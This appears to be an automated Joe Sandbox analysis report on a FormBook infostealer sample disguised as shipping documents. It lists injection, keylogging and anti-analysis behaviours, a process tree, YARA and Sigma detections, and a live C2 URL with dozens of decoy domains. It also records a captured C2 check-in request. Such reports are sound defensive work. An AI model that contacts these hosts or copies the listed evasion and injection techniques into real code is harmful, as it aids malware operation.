Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Export Shipment Documents 72335.exe

Overview

General Information

Sample name:Export Shipment Documents 72335.exe
Analysis ID:1543817
MD5:27a6e3019a7a5a253389de68dd9afda9
SHA1:1da9db209c723c15e687712ac20d5f334f74dcd8
SHA256:91123f6fc1ac1580e1e358365eb9b10a5137cc96ea7039a284d3926923aed4a3
Tags:exeFormbook
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to detect sleep reduction / modifications
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Query firmware table information (likely to detect VMs)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Writes to foreign memory regions
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
One or more processes crash
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • Export Shipment Documents 72335.exe (PID: 7404 cmdline: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe" MD5: 27A6E3019A7A5A253389DE68DD9AFDA9)
    • svchost.exe (PID: 7472 cmdline: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • explorer.exe (PID: 4084 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
        • help.exe (PID: 7516 cmdline: "C:\Windows\SysWOW64\help.exe" MD5: DD40774E56D4C44B81F2DFA059285E75)
          • cmd.exe (PID: 7576 cmdline: /c del "C:\Windows\SysWOW64\svchost.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • explorer.exe (PID: 3636 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
        • WerFault.exe (PID: 6064 cmdline: C:\Windows\system32\WerFault.exe -u -p 4084 -s 7096 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.uhy-key.xyz/ms84/"], "decoy": ["ecurity-ukgaxq.xyz", "45ee.top", "risiddivinayaka.net", "tizip-skill.xyz", "ostcanadantet.top", "764.xyz", "oco188rtp.xyz", "lobalacessory.shop", "qcq-serve.xyz", "dameth.top", "arge-eycert.xyz", "yzwj-she.xyz", "bgfrp-plant.xyz", "emesiartwork.net", "rcw-hotel.xyz", "loor-dfqzpi.xyz", "vidence-zvkkln.xyz", "oisthuchoyarura.shop", "959108ttltxfm842.top", "apzcc-both.xyz", "duxrib.xyz", "ridging-solutions-llc.net", "ower-gxkwaa.xyz", "elicorebiopharma.net", "hlut-government.xyz", "outh-kejj.xyz", "dslot88b.click", "xfetchbesnowsblacher.shop", "all888.xyz", "erform-tgap.xyz", "ixiaopu.top", "eiqiqikj.top", "antuljiwa.click", "vqq-national.xyz", "rilseguloseheating.shop", "uney.xyz", "ord-km241124sdaqrwqsssafqw.xyz", "uiejosdarksumdauts.shop", "aby-qwjqlg.xyz", "xcoy-product.xyz", "ressure-pkdpy.xyz", "5syp.xyz", "lue-kuukf.xyz", "ccording-pqzu.xyz", "elieve-nrrv.xyz", "ltimatraceglow.pro", "dgnmu-over.xyz", "ittlepawprints.app", "agieworld.xyz", "vvfu-break.xyz", "taff-ltpugj.xyz", "kn510v1.top", "oolhervelegerus.shop", "mployee-jkmmz.xyz", "4750.africa", "weetlive.lat", "achebrand.shop", "uistnanciesnefast.cfd", "isten-fwogs.xyz", "cmk-billion.xyz", "981gnk.top", "ge-zgnfu.xyz", "unwaleheathyhibbing.cfd", "ikigorakos.net"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
      • 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
      • 0x18809:$sqlite3step: 68 34 1C 7B E1
      • 0x1891c:$sqlite3step: 68 34 1C 7B E1
      • 0x18838:$sqlite3text: 68 38 2A 90 C5
      • 0x1895d:$sqlite3text: 68 38 2A 90 C5
      • 0x1884b:$sqlite3blob: 68 53 D8 7F 8C
      • 0x18973:$sqlite3blob: 68 53 D8 7F 8C
      Click to see the 35 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          2.2.svchost.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x5451:$a1: 3C 30 50 4F 53 54 74 09 40
          • 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          2.2.svchost.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          2.2.svchost.exe.400000.0.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
          • 0x17a09:$sqlite3step: 68 34 1C 7B E1
          • 0x17b1c:$sqlite3step: 68 34 1C 7B E1
          • 0x17a38:$sqlite3text: 68 38 2A 90 C5
          • 0x17b5d:$sqlite3text: 68 38 2A 90 C5
          • 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C
          • 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
          Click to see the 15 entries

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: Uncommon Svchost Parent Process
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe", CommandLine: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe", CommandLine|base64offset|contains: J, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe", ParentImage: C:\Users\user\Desktop\Export Shipment Documents 72335.exe, ParentProcessId: 7404, ParentProcessName: Export Shipment Documents 72335.exe, ProcessCommandLine: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe", ProcessId: 7472, ProcessName: svchost.exe
          Sigma detected: Windows Processes Suspicious Parent Directory
          Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe", CommandLine: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe", CommandLine|base64offset|contains: J, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe", ParentImage: C:\Users\user\Desktop\Export Shipment Documents 72335.exe, ParentProcessId: 7404, ParentProcessName: Export Shipment Documents 72335.exe, ProcessCommandLine: "C:\Users\user\Desktop\Export Shipment Documents 72335.exe", ProcessId: 7472, ProcessName: svchost.exe

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2024-10-28T14:14:11.895182+010020314531Malware Command and Control Activity Detected192.168.2.84973713.248.252.11480TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Found malware configuration
          Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.uhy-key.xyz/ms84/"], "decoy": ["ecurity-ukgaxq.xyz", "45ee.top", "risiddivinayaka.net", "tizip-skill.xyz", "ostcanadantet.top", "764.xyz", "oco188rtp.xyz", "lobalacessory.shop", "qcq-serve.xyz", "dameth.top", "arge-eycert.xyz", "yzwj-she.xyz", "bgfrp-plant.xyz", "emesiartwork.net", "rcw-hotel.xyz", "loor-dfqzpi.xyz", "vidence-zvkkln.xyz", "oisthuchoyarura.shop", "959108ttltxfm842.top", "apzcc-both.xyz", "duxrib.xyz", "ridging-solutions-llc.net", "ower-gxkwaa.xyz", "elicorebiopharma.net", "hlut-government.xyz", "outh-kejj.xyz", "dslot88b.click", "xfetchbesnowsblacher.shop", "all888.xyz", "erform-tgap.xyz", "ixiaopu.top", "eiqiqikj.top", "antuljiwa.click", "vqq-national.xyz", "rilseguloseheating.shop", "uney.xyz", "ord-km241124sdaqrwqsssafqw.xyz", "uiejosdarksumdauts.shop", "aby-qwjqlg.xyz", "xcoy-product.xyz", "ressure-pkdpy.xyz", "5syp.xyz", "lue-kuukf.xyz", "ccording-pqzu.xyz", "elieve-nrrv.xyz", "ltimatraceglow.pro", "dgnmu-over.xyz", "ittlepawprints.app", "agieworld.xyz", "vvfu-break.xyz", "taff-ltpugj.xyz", "kn510v1.top", "oolhervelegerus.shop", "mployee-jkmmz.xyz", "4750.africa", "weetlive.lat", "achebrand.shop", "uistnanciesnefast.cfd", "isten-fwogs.xyz", "cmk-billion.xyz", "981gnk.top", "ge-zgnfu.xyz", "unwaleheathyhibbing.cfd", "ikigorakos.net"]}
          Multi AV Scanner detection for submitted file
          Source: Export Shipment Documents 72335.exeReversingLabs: Detection: 36%
          Yara detected FormBook
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.Export Shipment Documents 72335.exe.1680000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.Export Shipment Documents 72335.exe.1680000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1500557511.0000000003670000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1445854829.0000000001680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1500520804.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
          Machine Learning detection for sample
          Source: Export Shipment Documents 72335.exeJoe Sandbox ML: detected
          Source: Export Shipment Documents 72335.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
          Source: Binary string: wntdll.pdbUGP source: Export Shipment Documents 72335.exe, 00000000.00000003.1444022587.00000000045B0000.00000004.00001000.00020000.00000000.sdmp, Export Shipment Documents 72335.exe, 00000000.00000003.1440621009.0000000004750000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500842270.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1444202047.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1445947770.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500842270.000000000399E000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000003.1500086455.00000000029E8000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000004.00000002.2709904609.0000000002EFE000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000002.2709904609.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000003.1501711079.0000000002BB7000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: Export Shipment Documents 72335.exe, 00000000.00000003.1444022587.00000000045B0000.00000004.00001000.00020000.00000000.sdmp, Export Shipment Documents 72335.exe, 00000000.00000003.1440621009.0000000004750000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1500842270.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1444202047.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1445947770.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500842270.000000000399E000.00000040.00001000.00020000.00000000.sdmp, help.exe, help.exe, 00000004.00000003.1500086455.00000000029E8000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000004.00000002.2709904609.0000000002EFE000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000002.2709904609.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000003.1501711079.0000000002BB7000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: help.pdbGCTL source: svchost.exe, 00000002.00000002.1500301030.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500323144.0000000003212000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500590168.00000000036A0000.00000040.10000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2698010994.0000000000470000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: svchost.pdb source: explorer.exe, 00000003.00000002.2325206022.000000001004F000.00000004.80000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2715096234.00000000032AF000.00000004.10000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2699334682.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2725318929.000000000A5BF000.00000004.80000000.00040000.00000000.sdmp
          Source: Binary string: help.pdb source: svchost.exe, 00000002.00000002.1500301030.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500323144.0000000003212000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500590168.00000000036A0000.00000040.10000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2698010994.0000000000470000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: svchost.pdbUGP source: explorer.exe, 00000003.00000002.2325206022.000000001004F000.00000004.80000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2715096234.00000000032AF000.00000004.10000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2699334682.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2725318929.000000000A5BF000.00000004.80000000.00040000.00000000.sdmp
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D

          Networking

          barindex
          Suricata IDS alerts for network traffic
          Source: Network trafficSuricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.8:49737 -> 13.248.252.114:80
          Source: Network trafficSuricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.8:49737 -> 13.248.252.114:80
          Source: Network trafficSuricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.8:49737 -> 13.248.252.114:80
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 13.248.252.114 80
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: www.uhy-key.xyz/ms84/
          Performs DNS queries to domains with low reputation
          Source: DNS query: www.oco188rtp.xyz
          Source: DNS query: www.764.xyz
          Source: global trafficHTTP traffic detected: GET /ms84/?Ol=aRGCqGqS1KJ0su+wMD27827GGXC+f5XXSoOX4ZczOgd3c4vi/ATBZdGOzoSN7qN/kVlO&tFQp=YP7xkZXxyhq HTTP/1.1Host: www.764.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 13.248.252.114 13.248.252.114
          Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,0_2_0044289D
          Source: global trafficHTTP traffic detected: GET /ms84/?Ol=aRGCqGqS1KJ0su+wMD27827GGXC+f5XXSoOX4ZczOgd3c4vi/ATBZdGOzoSN7qN/kVlO&tFQp=YP7xkZXxyhq HTTP/1.1Host: www.764.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficDNS traffic detected: DNS query: www.unwaleheathyhibbing.cfd
          Source: global trafficDNS traffic detected: DNS query: www.oco188rtp.xyz
          Source: global trafficDNS traffic detected: DNS query: api.msn.com
          Source: global trafficDNS traffic detected: DNS query: www.ikigorakos.net
          Source: global trafficDNS traffic detected: DNS query: www.764.xyz
          Source: explorer.exe, 00000003.00000000.1452754587.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380782792.0000000008C7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381542057.0000000008C86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2723546942.0000000008C7E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
          Source: explorer.exe, 00000003.00000000.1452754587.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380782792.0000000008C7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381542057.0000000008C86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2723546942.0000000008C7E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
          Source: explorer.exe, 00000003.00000000.1452754587.0000000009237000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.0000000009237000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380782792.0000000008C7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381542057.0000000008C86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2723546942.0000000008C7E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
          Source: explorer.exe, 0000000D.00000002.2717021958.00000000051DA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ns.adobe.c
          Source: explorer.exe, 00000003.00000000.1449366182.0000000004405000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2305363181.0000000004405000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.adobeS
          Source: explorer.exe, 00000003.00000000.1452754587.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380782792.0000000008C7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381542057.0000000008C86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2723546942.0000000008C7E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
          Source: explorer.exe, 00000003.00000002.2312821972.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000090DA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
          Source: explorer.exe, 00000003.00000002.2311311149.0000000007720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1451101286.0000000007710000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.2300984786.0000000002C80000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.5syp.xyz
          Source: explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.5syp.xyz/ms84/
